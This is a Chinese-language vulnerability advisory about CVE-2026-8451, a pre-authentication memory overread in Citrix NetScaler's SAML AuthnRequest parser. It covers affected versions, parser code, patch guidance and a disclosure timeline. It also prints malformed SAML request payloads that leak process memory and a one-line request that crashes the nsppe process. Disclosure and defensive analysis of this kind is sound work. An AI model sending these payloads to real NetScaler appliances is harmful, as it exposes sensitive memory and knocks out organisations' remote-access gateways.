CitrixBleed Infinity:NetScaler预认证内存越读漏洞(CVE-2026-8451)

导语:安全研究团队watchTowr近日披露Citrix NetScaler又一预认证内存越读漏洞,编号CVE-2026-8451,CVSS评分8.8。这是继CVE-2026-3055之后,CitrixBleed漏洞家族的最新成员。与之前变种不同,此漏洞专注于SAML IDP配置场景下的XML属性解析缺陷,攻击者可在无需认证的前提下读取服务器进程内存中的敏感数据。


一、漏洞概述

1.1 背景

Citrix NetScaler(曾短暂更名后恢复)是全球大型企业网络中最常见的应用交付控制器和VPN网关设备之一,NetScaler Gateway更是数千家企业远程访问基础设施的”正门”。这类设备处理负载均衡、SSL卸载、身份认证和远程访问,自然成为攻击者眼中的香饽饽。

“CitrixBleed”一词如今已不代表单个漏洞,而是 Citrix NetScaler 设备中一整类内存泄露型漏洞的代名词。近年来,这些漏洞已多次出现在实际入侵事件中。

1.2 漏洞详情

  • CVE编号:CVE-2026-8451
  • 漏洞名称:Citrix Bleed To Infinity And Beyond
  • 类型:预认证内存越读(Pre-Auth Memory Overread)
  • CVSS评分:8.8(高危)
  • 根因:SAML AuthnRequest XML属性解析时输入验证不足
  • 触发条件:NetScaler设备须配置为SAML IDP(身份提供商)
  • 发现时间:2026年3月28日(watchTowr团队)
  • 披露时间:2026年6月30日(Citrix官方发布公告)

1.3 影响范围

根据Citrix官方公告,以下产品受影响:

  • NetScaler ADC和NetScaler Gateway 14.1:14.1-72.61之前的版本
  • NetScaler ADC和NetScaler Gateway 13.1:13.1-63.18之前的版本
  • NetScaler ADC FIPS:14.1-72.61 FIPS之前的版本
  • NetScaler ADC FIPS和NDcPP:13.1-37.272之前的版本

二、技术分析

2.1 XML属性解析器的缺陷

watchTowr团队在分析CVE-2026-3055补丁时,意外发现了存在于SAML AuthnRequest解析逻辑中的新漏洞。

Citrix的NetScaler在解析SAML登录请求时,需要从XML文档中提取属性值。审计相关代码后,研究人员发现了以下存在问题的实现逻辑:

cursor = <输入字符串>;

// 跳过前导空白字符
for (lookahead = ...; ; lookahead++) {
    ch = *cursor;
    if (ch > '=') break;
    if (!_bittest64(&whitespaceCharList, ch)) {
        if (ch == '=') {
            // 找到等号,跳过后续空白
            while (1) {
                ch = *lookahead;
                if (ch > 0x20 || !_bittest64(&whitespaceCharList, ch))
                    break;
                ++lookahead;
            }
            cursor = lookahead;
        }
        break;
    }
    ++cursor;
}

// 确定属性值的引用方式(单引号、双引号或无引号)
if (ch == ''' || ch == '"') {
    terminator = ch;
    first = *++cursor;
} else {
    terminator = ' ';  // 无引号时以空格终止
    first = ch;
}

// 向后扫描直到找到终结符
while (first != '' && first != '>') {
    scanPos++;
    first = *scanPos;
    if (first == terminator) break;
}

这段代码看起来中规中矩,但有几个微妙而危险的问题:

  1. 没有明显的边界检查。如果输入格式不规范,解析器完全可能读取到输入缓冲区之外。
  2. 无引用属性值的处理逻辑与带引号时不同。在无引用路径中,空格不再是终结符,解析器只在遇到空字节、>或匹配引号时才停止。
  3. >字符的终结处理存在差异。在解析属性名阶段,>被作为有效终结符处理,但一旦进入属性值解析,逻辑就变得模糊。

2.2 从异常解析到越界读取

正常情况下,NetScaler解析SAML AuthnRequest不会有问题:

AuthnReq start tag parsed, id=<_99d3e71118f42305e05acb14ad0bd917>,
acs=<http://sp.example.com/demo1/index.php?acs>, forceAuth=<0>, binding=<POST>,
following data "ProtocolBinding=..."

但当watchTowr团队用换行符替换属性值后的空格时,情况开始失控:

<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
id=22>
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

日志输出变成了:

AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, forceAuth=<0>, binding=<Unknown>,
following data Version="2.0" AssertionConsumerServiceURL=11 id=22> <saml:Issuer>watchtowr...

acs的值被解析成了11 id=22,解析器没有在换行处停止,而是继续读取,直到遇到>才收手。

2.3 更进一步的越界读取

watchTowr团队进一步构造特殊载荷,成功让解析器读取到请求缓冲区边界之外的内存数据:

<samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"

日志输出:

AuthnReq start tag parsed, id=<>, acs=<▒^M▒ᆳ▒="2.0" id="11"
AssertionConsumerServiceURL="22"ᆳ▒mple.com/demo1/index.php</saml:Issuer>,
forceAuth=<0>, binding=<Unknown>

解析器已经越界读取了请求缓冲区之后的数据,并将这些数据混入了解析结果。


三、漏洞利用

3.1 利用路径

漏洞利用的关键在于构造特殊的SAML AuthnRequest,使XML解析器的属性值扫描越过请求缓冲区的边界。Citrix用NSC_TASS cookie将解析后的ID和AssertionConsumerServiceURL值返回给客户端,这意味着越界读取到的数据会被泄露到HTTP响应中。

最终,攻击者成功从服务器进程内存中读取到了预期的数据,包括0xdeadbeef填充模式和疑似有效的进程指针0xa10ca7ed

Leaked bytes:
00000000 f0 0d 90 de de de de de de de de de de de de de |................|
00000010 de de de de de de de de de de de de de de de de |................|
00000020 de de de de de de de de de de de de de de de de |................|
00000030 de de de de de de de de de de de de de de de de |................|
00000040 de de de de de de de de de de de ed a7 |................|
00000050 0c a1 35 00 |..5.|

如果该指针确实是有效的进程指针,这意味着此漏洞已从普通的信息泄露升级为真正的信息泄露原语,结合适当的内存破坏漏洞,可能实现设备的完全沦陷。

3.2 简单的拒绝服务

对于只想证明影响而不打算构建复杂漏洞利用链的攻击者来说,只需发送一个畸形请求就能让nsppe进程崩溃:

<samlp:AuthnRequest ID=

3.3 检测工具

watchTowr团队已将其检测工具开源:

GitHub:https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451


四、修复建议

  • 立即更新:将NetScaler ADC/Gateway更新到以下安全版本:
    • 14.1:升级到14.1-72.61或更高版本
    • 13.1:升级到13.1-63.18或更高版本
    • FIPS版本:相应跟进官方补丁
  • 临时缓解措施:如无法立即更新,可考虑:
    • 检查是否必须启用SAML IDP配置
    • 加强对/saml/login端点的流量监控
    • 关注NSC_TASS cookie响应中的异常数据

五、时间线

日期事件
2026年3月28日watchTowr发现漏洞,通知Citrix及受影响客户
2026年3月30日Citrix自动回复
2026年4月30日watchTowr请求更新
2026年5月7日Citrix回复正在开发修复方案
2026年6月14日Citrix预计6月29日发布公告
2026年6月25日Citrix通知可能延迟数日
2026年6月30日Citrix正式发布公告和补丁
2026年7月7日watchTowr公开发布研究细节

版权声明:本文由华安普特原创发布,保留所有权利。配图由华安普特授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容